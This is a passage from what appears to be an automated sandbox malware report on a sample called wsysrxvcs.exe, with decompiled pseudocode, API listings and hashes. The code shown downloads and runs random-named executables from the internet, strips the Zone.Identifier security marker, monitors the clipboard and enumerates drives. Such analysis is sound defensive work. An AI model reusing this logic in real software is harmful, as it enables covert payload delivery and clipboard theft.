					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040EBA2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D0C0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D280( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405d51
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}

































                                                                                                                                                                                                                                                                                                                                                      0x0040d3f0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3f5
                                                                                                                                                                                                                                                                                                                                                      0x0040d3f8
                                                                                                                                                                                                                                                                                                                                                      0x0040d410
                                                                                                                                                                                                                                                                                                                                                      0x0040d419
                                                                                                                                                                                                                                                                                                                                                      0x0040d428
                                                                                                                                                                                                                                                                                                                                                      0x0040d42e
                                                                                                                                                                                                                                                                                                                                                      0x0040d436
                                                                                                                                                                                                                                                                                                                                                      0x0040d43c
                                                                                                                                                                                                                                                                                                                                                      0x0040d443
                                                                                                                                                                                                                                                                                                                                                      0x0040d458
                                                                                                                                                                                                                                                                                                                                                      0x0040d473
                                                                                                                                                                                                                                                                                                                                                      0x0040d47b
                                                                                                                                                                                                                                                                                                                                                      0x0040d480
                                                                                                                                                                                                                                                                                                                                                      0x0040d48f
                                                                                                                                                                                                                                                                                                                                                      0x0040d494
                                                                                                                                                                                                                                                                                                                                                      0x0040d4b6
                                                                                                                                                                                                                                                                                                                                                      0x0040d4bc
                                                                                                                                                                                                                                                                                                                                                      0x0040d4d2
                                                                                                                                                                                                                                                                                                                                                      0x0040d4df
                                                                                                                                                                                                                                                                                                                                                      0x0040d4fb
                                                                                                                                                                                                                                                                                                                                                      0x0040d501
                                                                                                                                                                                                                                                                                                                                                      0x0040d50e
                                                                                                                                                                                                                                                                                                                                                      0x0040d52a
                                                                                                                                                                                                                                                                                                                                                      0x0040d530
                                                                                                                                                                                                                                                                                                                                                      0x0040d53d
                                                                                                                                                                                                                                                                                                                                                      0x0040d543
                                                                                                                                                                                                                                                                                                                                                      0x0040d55d
                                                                                                                                                                                                                                                                                                                                                      0x0040d565
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d58e
                                                                                                                                                                                                                                                                                                                                                      0x0040d58e
                                                                                                                                                                                                                                                                                                                                                      0x0040d59d
                                                                                                                                                                                                                                                                                                                                                      0x0040d5b6
                                                                                                                                                                                                                                                                                                                                                      0x0040d5c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d5d1
                                                                                                                                                                                                                                                                                                                                                      0x0040d5de
                                                                                                                                                                                                                                                                                                                                                      0x0040d5e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d5eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d630
                                                                                                                                                                                                                                                                                                                                                      0x0040d5ed
                                                                                                                                                                                                                                                                                                                                                      0x0040d5f2
                                                                                                                                                                                                                                                                                                                                                      0x0040d5ff
                                                                                                                                                                                                                                                                                                                                                      0x0040d604
                                                                                                                                                                                                                                                                                                                                                      0x0040d60d
                                                                                                                                                                                                                                                                                                                                                      0x0040d60f
                                                                                                                                                                                                                                                                                                                                                      0x0040d616
                                                                                                                                                                                                                                                                                                                                                      0x0040d61a
                                                                                                                                                                                                                                                                                                                                                      0x0040d61a
                                                                                                                                                                                                                                                                                                                                                      0x0040d620
                                                                                                                                                                                                                                                                                                                                                      0x0040d620
                                                                                                                                                                                                                                                                                                                                                      0x0040d627
                                                                                                                                                                                                                                                                                                                                                      0x0040d5eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d63d
                                                                                                                                                                                                                                                                                                                                                      0x0040d63d
                                                                                                                                                                                                                                                                                                                                                      0x0040d64a
                                                                                                                                                                                                                                                                                                                                                      0x0040d64a
                                                                                                                                                                                                                                                                                                                                                      0x0040d657
                                                                                                                                                                                                                                                                                                                                                      0x0040d662
                                                                                                                                                                                                                                                                                                                                                      0x0040d668
                                                                                                                                                                                                                                                                                                                                                      0x0040d671
                                                                                                                                                                                                                                                                                                                                                      0x0040d677
                                                                                                                                                                                                                                                                                                                                                      0x0040d67c
                                                                                                                                                                                                                                                                                                                                                      0x0040d68e
                                                                                                                                                                                                                                                                                                                                                      0x0040d694
                                                                                                                                                                                                                                                                                                                                                      0x0040d699
                                                                                                                                                                                                                                                                                                                                                      0x0040d6a8
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ad
                                                                                                                                                                                                                                                                                                                                                      0x0040d6cf
                                                                                                                                                                                                                                                                                                                                                      0x0040d6d8
                                                                                                                                                                                                                                                                                                                                                      0x0040d6da
                                                                                                                                                                                                                                                                                                                                                      0x0040d6e2
                                                                                                                                                                                                                                                                                                                                                      0x0040d6e9
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ec
                                                                                                                                                                                                                                                                                                                                                      0x0040d6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040d70c
                                                                                                                                                                                                                                                                                                                                                      0x0040d71c
                                                                                                                                                                                                                                                                                                                                                      0x0040d727
                                                                                                                                                                                                                                                                                                                                                      0x0040d741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d77e
                                                                                                                                                                                                                                                                                                                                                      0x0040d748
                                                                                                                                                                                                                                                                                                                                                      0x0040d75d
                                                                                                                                                                                                                                                                                                                                                      0x0040d762
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d764
                                                                                                                                                                                                                                                                                                                                                      0x0040d76b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d76f
                                                                                                                                                                                                                                                                                                                                                      0x0040d76f
                                                                                                                                                                                                                                                                                                                                                      0x0040d6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040d787

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040D3E9
                                                                                                                                                                                                                                                                                                                                                      • srand.MSVCRT ref: 0040D3F0
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D410
                                                                                                                                                                                                                                                                                                                                                      • mbstowcs.NTDLL ref: 0040D473
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D47B
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D48F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D4B6
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenW.WININET(Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D4CC
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D4FB
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D52A
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D55D
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000), ref: 0040D58E
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D59D
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D5B6
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNELBASE(?), ref: 0040D5C6
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 0040D61A
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000007D0), ref: 0040D5F2
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: memset.NTDLL ref: 0040D28E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: CreateProcessW.KERNELBASE ref: 0040D2D5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: Sleep.KERNELBASE(000003E8), ref: 0040D2E5
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D630
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D63D
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D64A
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D657
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D662
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D677
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32 ref: 0040D68E
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D694
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D6A8
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D6CF
                                                                                                                                                                                                                                                                                                                                                      • URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D6EC
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D70C
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D71C
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D727
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 0040D5D1
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D0F4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D115
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 0040D134
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D14D
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000007D0), ref: 0040D748
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 0040D76F
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D77E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36$Q]@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3135114409-3988953271
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9baff8f3fa8989066ca1c92959017237f6af4a97f8267daa8efa8fcee9a8e236
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: aef3b5e2bb5123bdf9127001507d8ae34f8638f911c95bd468b543b242c542dc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9baff8f3fa8989066ca1c92959017237f6af4a97f8267daa8efa8fcee9a8e236
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2291C7B1D41318ABE720DB51DC45FE97779AB88705F0084AAF60EA21C1DAB99BC4CF18
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404110 Relevance: 25.7, APIs: 17, Instructions: 186clipboardregistryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 97 404110-404132 GetWindowLongW 98 404134-40413b 97->98 99 404156-40415d 97->99 100 404141-404145 98->100 101 4041c7-4041d8 IsClipboardFormatAvailable 98->101 102 404186-40418c 99->102 103 40415f 99->103 104 404164-404181 SetClipboardViewer SetWindowLongW 100->104 105 404147-40414b 100->105 109 4041e3-4041ed IsClipboardFormatAvailable 101->109 110 4041da-4041e1 101->110 107 4041a6-4041aa 102->107 108 40418e-4041a4 SetWindowLongW 102->108 106 404344-40435d DefWindowProcA 103->106 104->106 113 404151 105->113 114 4042fd-40433e RegisterRawInputDevices ChangeClipboardChain 105->114 115 4041c2 107->115 116 4041ac-4041bc SendMessageA 107->116 108->115 111 4041f8-404202 IsClipboardFormatAvailable 109->111 112 4041ef-4041f6 109->112 117 40420b-40420f 110->117 111->117 118 404204 111->118 112->117 113->106 114->106 115->106 116->115 119 404215-40421f OpenClipboard 117->119 120 4042df-4042e3 117->120 118->117 119->120 121 404225-404236 GetClipboardData 119->121 122 4042e5-4042f5 SendMessageA 120->122 123 4042fb 120->123 124 404238 121->124 125 40423d-40424e GlobalLock 121->125 122->123 123->106 124->106 126 404250 125->126 127 404255-404266 125->127 126->106 128 404268-40426c 127->128 129 404289-40429c call 403f20 127->129 131 40429e-4042ae call 404040 128->131 132 40426e-404272 128->132 137 4042b1-4042c5 GlobalUnlock CloseClipboard 129->137 131->137 135 404274 132->135 136 404276-404287 call 403e60 132->136 135->137 136->137 137->120 140 4042c7-4042dc call 403480 call 408b60 137->140 140->120
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 94%
                                                                                                                                                                                                                                                                                                                                                      			E00404110(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				long _t75;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						_t75 = DefWindowProcA(_a4, _a8, _a12, _a16); // executed
						return _t75;
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403F20(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E00404040(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403E60(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
									E00408B60(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}




















                                                                                                                                                                                                                                                                                                                                                      0x00404122
                                                                                                                                                                                                                                                                                                                                                      0x00404128
                                                                                                                                                                                                                                                                                                                                                      0x00404132
                                                                                                                                                                                                                                                                                                                                                      0x0040415d
                                                                                                                                                                                                                                                                                                                                                      0x0040418c
                                                                                                                                                                                                                                                                                                                                                      0x004041aa
                                                                                                                                                                                                                                                                                                                                                      0x004041bc
                                                                                                                                                                                                                                                                                                                                                      0x004041bc
                                                                                                                                                                                                                                                                                                                                                      0x0040418e
                                                                                                                                                                                                                                                                                                                                                      0x00404191
                                                                                                                                                                                                                                                                                                                                                      0x0040419e
                                                                                                                                                                                                                                                                                                                                                      0x0040419e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040415f
                                                                                                                                                                                                                                                                                                                                                      0x00404344
                                                                                                                                                                                                                                                                                                                                                      0x00404354
                                                                                                                                                                                                                                                                                                                                                      0x0040435d
                                                                                                                                                                                                                                                                                                                                                      0x0040435d
                                                                                                                                                                                                                                                                                                                                                      0x0040415d
                                                                                                                                                                                                                                                                                                                                                      0x0040413b
                                                                                                                                                                                                                                                                                                                                                      0x004041c7
                                                                                                                                                                                                                                                                                                                                                      0x004041d8
                                                                                                                                                                                                                                                                                                                                                      0x004041ed
                                                                                                                                                                                                                                                                                                                                                      0x00404202
                                                                                                                                                                                                                                                                                                                                                      0x00404204
                                                                                                                                                                                                                                                                                                                                                      0x00404204
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x0040420f
                                                                                                                                                                                                                                                                                                                                                      0x004042df
                                                                                                                                                                                                                                                                                                                                                      0x004042e3
                                                                                                                                                                                                                                                                                                                                                      0x004042f5
                                                                                                                                                                                                                                                                                                                                                      0x004042f5
                                                                                                                                                                                                                                                                                                                                                      0x00404225
                                                                                                                                                                                                                                                                                                                                                      0x0040422f
                                                                                                                                                                                                                                                                                                                                                      0x00404236
                                                                                                                                                                                                                                                                                                                                                      0x00404247
                                                                                                                                                                                                                                                                                                                                                      0x0040424e
                                                                                                                                                                                                                                                                                                                                                      0x00404255
                                                                                                                                                                                                                                                                                                                                                      0x0040425f
                                                                                                                                                                                                                                                                                                                                                      0x00404266
                                                                                                                                                                                                                                                                                                                                                      0x00404291
                                                                                                                                                                                                                                                                                                                                                      0x00404296
                                                                                                                                                                                                                                                                                                                                                      0x00404299
                                                                                                                                                                                                                                                                                                                                                      0x00404268
                                                                                                                                                                                                                                                                                                                                                      0x0040426c
                                                                                                                                                                                                                                                                                                                                                      0x004042a6
                                                                                                                                                                                                                                                                                                                                                      0x004042ab
                                                                                                                                                                                                                                                                                                                                                      0x004042ae
                                                                                                                                                                                                                                                                                                                                                      0x0040426e
                                                                                                                                                                                                                                                                                                                                                      0x00404272
                                                                                                                                                                                                                                                                                                                                                      0x0040427c
                                                                                                                                                                                                                                                                                                                                                      0x00404281
                                                                                                                                                                                                                                                                                                                                                      0x00404284
                                                                                                                                                                                                                                                                                                                                                      0x00404284
                                                                                                                                                                                                                                                                                                                                                      0x00404272
                                                                                                                                                                                                                                                                                                                                                      0x0040426c
                                                                                                                                                                                                                                                                                                                                                      0x004042b5
                                                                                                                                                                                                                                                                                                                                                      0x004042bb
                                                                                                                                                                                                                                                                                                                                                      0x004042c5
                                                                                                                                                                                                                                                                                                                                                      0x004042cb
                                                                                                                                                                                                                                                                                                                                                      0x004042d7
                                                                                                                                                                                                                                                                                                                                                      0x004042dc
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004042c5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404250
                                                                                                                                                                                                                                                                                                                                                      0x00404238
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040420f
                                                                                                                                                                                                                                                                                                                                                      0x00404145
                                                                                                                                                                                                                                                                                                                                                      0x0040416e
                                                                                                                                                                                                                                                                                                                                                      0x0040417b
                                                                                                                                                                                                                                                                                                                                                      0x00404147
                                                                                                                                                                                                                                                                                                                                                      0x0040414b
                                                                                                                                                                                                                                                                                                                                                      0x004042ff
                                                                                                                                                                                                                                                                                                                                                      0x00404305
                                                                                                                                                                                                                                                                                                                                                      0x00404308
                                                                                                                                                                                                                                                                                                                                                      0x0040430b
                                                                                                                                                                                                                                                                                                                                                      0x00404314
                                                                                                                                                                                                                                                                                                                                                      0x0040431d
                                                                                                                                                                                                                                                                                                                                                      0x00404321
                                                                                                                                                                                                                                                                                                                                                      0x00404330
                                                                                                                                                                                                                                                                                                                                                      0x0040433e
                                                                                                                                                                                                                                                                                                                                                      0x0040433e
                                                                                                                                                                                                                                                                                                                                                      0x0040414b
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetWindowLongW.USER32(?,000000EB), ref: 0040411C
                                                                                                                                                                                                                                                                                                                                                      • SetClipboardViewer.USER32(?), ref: 00404168
                                                                                                                                                                                                                                                                                                                                                      • SetWindowLongW.USER32 ref: 0040417B
                                                                                                                                                                                                                                                                                                                                                      • IsClipboardFormatAvailable.USER32(0000000D), ref: 004041D0
                                                                                                                                                                                                                                                                                                                                                      • OpenClipboard.USER32(00000000), ref: 00404217
                                                                                                                                                                                                                                                                                                                                                      • GetClipboardData.USER32 ref: 00404229
                                                                                                                                                                                                                                                                                                                                                      • RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00404330
                                                                                                                                                                                                                                                                                                                                                      • ChangeClipboardChain.USER32(?,?), ref: 0040433E
                                                                                                                                                                                                                                                                                                                                                      • DefWindowProcA.USER32(?,?,?,?), ref: 00404354
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3549449529-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 01fa11c5008a29a9daddaa3b16646b40c9016a60834e91ba448148f39e751b29
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d08f3ddc54cbdb9ded0ab450df6d6cb7b6432562a3edf31e0856fd08fd8a07da
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 01fa11c5008a29a9daddaa3b16646b40c9016a60834e91ba448148f39e751b29
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 407120B4A00208EBDB14DFD4D948BEE77B5AB88301F14816AF605B72D0D7799A80CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405410 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 106sleepthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 51%
                                                                                                                                                                                                                                                                                                                                                      			E00405410() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8); // executed
				GetModuleFileNameW(0, L"C:\\Windows\\wsysrxvcs.exe", 0x104);
				_t34 = E0040D070(L"C:\\Windows\\wsysrxvcs.exe"); // executed
				_t69 = _t68 + 4;
				 *0x414c70 = _t34;
				while(1 != 0) {
					_t36 = E00404C20(); // executed
					_v8 = _t36;
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404BC0(_v8, _v12,  &_v24); // executed
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040ED00();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404F30( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0); // executed
				}
				ExitThread(0);
			}






















                                                                                                                                                                                                                                                                                                                                                      0x0040541e
                                                                                                                                                                                                                                                                                                                                                      0x00405430
                                                                                                                                                                                                                                                                                                                                                      0x0040543b
                                                                                                                                                                                                                                                                                                                                                      0x00405440
                                                                                                                                                                                                                                                                                                                                                      0x00405443
                                                                                                                                                                                                                                                                                                                                                      0x00405448
                                                                                                                                                                                                                                                                                                                                                      0x00405455
                                                                                                                                                                                                                                                                                                                                                      0x0040545a
                                                                                                                                                                                                                                                                                                                                                      0x0040545d
                                                                                                                                                                                                                                                                                                                                                      0x0040546f
                                                                                                                                                                                                                                                                                                                                                      0x00405485
                                                                                                                                                                                                                                                                                                                                                      0x0040548a
                                                                                                                                                                                                                                                                                                                                                      0x0040548d
                                                                                                                                                                                                                                                                                                                                                      0x00405493
                                                                                                                                                                                                                                                                                                                                                      0x004054a0
                                                                                                                                                                                                                                                                                                                                                      0x004054cf
                                                                                                                                                                                                                                                                                                                                                      0x004054e4
                                                                                                                                                                                                                                                                                                                                                      0x004054ea
